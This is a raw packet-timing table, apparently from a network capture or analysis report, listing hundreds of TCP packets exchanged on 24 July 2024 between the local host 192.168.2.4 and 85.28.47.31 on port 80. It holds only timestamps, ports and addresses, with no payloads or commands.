Jul 24, 2024 02:39:07.638276100 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638283014 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638294935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638315916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638333082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638349056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638362885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638381958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638405085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638415098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638425112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638462067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638467073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638500929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638514996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638535023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638546944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638570070 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638593912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638602972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638612032 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638637066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638667107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638669968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638681889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638719082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638721943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638763905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638770103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638797998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638813972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638829947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638844013 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638865948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.638878107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.638915062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639105082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639152050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639158010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639192104 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639208078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639226913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639234066 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639271975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639326096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639359951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639375925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639394045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639405966 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639426947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639453888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639472961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639487028 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639534950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639535904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639569998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639594078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639604092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639614105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639638901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.639666080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.639683962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640300035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640332937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640347958 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640367031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640394926 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640400887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640413046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640434980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640465021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640469074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640501022 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640518904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640530109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640567064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640577078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640597105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640624046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640647888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640810013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640856981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640861988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640896082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.640911102 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640939951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.640974998 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641009092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641022921 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641042948 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641056061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641077995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641102076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641113997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641122103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641151905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641185045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641218901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641235113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641251087 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641277075 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641283989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.641314030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.641351938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642088890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642138004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642152071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642184973 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642196894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642230988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642244101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642266989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642278910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642301083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642317057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642334938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642364025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642385960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642391920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642421007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642436028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642455101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642468929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642491102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642507076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642538071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642544031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642579079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642591953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642612934 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642625093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642646074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642657042 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642682076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642695904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642716885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642728090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642750978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642765999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642782927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642796993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642817020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642827988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642849922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642864943 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642883062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642890930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642916918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642927885 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642961025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.642987967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.642995119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643018961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643028975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643047094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643062115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643070936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643095970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643110991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643145084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643146038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643194914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643197060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643230915 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643243074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643265009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643292904 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643301010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643309116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643332958 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643361092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643367052 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643389940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643399000 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643408060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643433094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643445969 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643472910 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643496990 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643507004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643541098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643574953 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643577099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643601894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643608093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643625021 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643641949 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643666983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643676043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.643690109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.643728971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732368946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732436895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732472897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732541084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732577085 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732585907 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732636929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732639074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732637882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732637882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732676029 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732701063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732701063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732711077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732722998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732745886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732779026 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732783079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732795000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732827902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732835054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732867956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732882023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732906103 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732938051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732954025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.732955933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.732990980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733004093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733022928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733050108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733057976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733064890 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733108044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733109951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733144999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733156919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733177900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733196020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733213902 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733222008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733249903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733259916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733300924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733309031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733335018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733351946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733369112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733382940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733402967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733419895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733452082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733453035 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733486891 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733500004 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733521938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733534098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733556986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733566999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733592033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733616114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733625889 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733634949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733659983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733675957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733692884 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733706951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733728886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733743906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733776093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733778954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733827114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733835936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733869076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733885050 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733913898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733927011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733958960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.733982086 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.733993053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734003067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734025955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734050035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734069109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734113932 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734163046 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734246969 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734298944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734344006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734395027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734426022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734460115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734467030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734494925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734508038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734540939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734704971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734738111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734755993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734771967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734785080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734806061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734819889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734838963 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734853029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734873056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734889984 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734919071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734925032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734957933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.734972000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.734992027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.735004902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.735024929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.735042095 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.735065937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.736732960 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.736788988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.736805916 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.736835003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.736836910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.736880064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.736886978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.736920118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.736932039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.736953974 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.736979961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.736999035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737063885 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737097025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737112999 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737131119 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737143993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737164021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737181902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737198114 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737210989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737231016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737247944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737276077 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:07.737390995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:07.737423897 CEST	80	49730	85.28.47.31	192.168.2.4
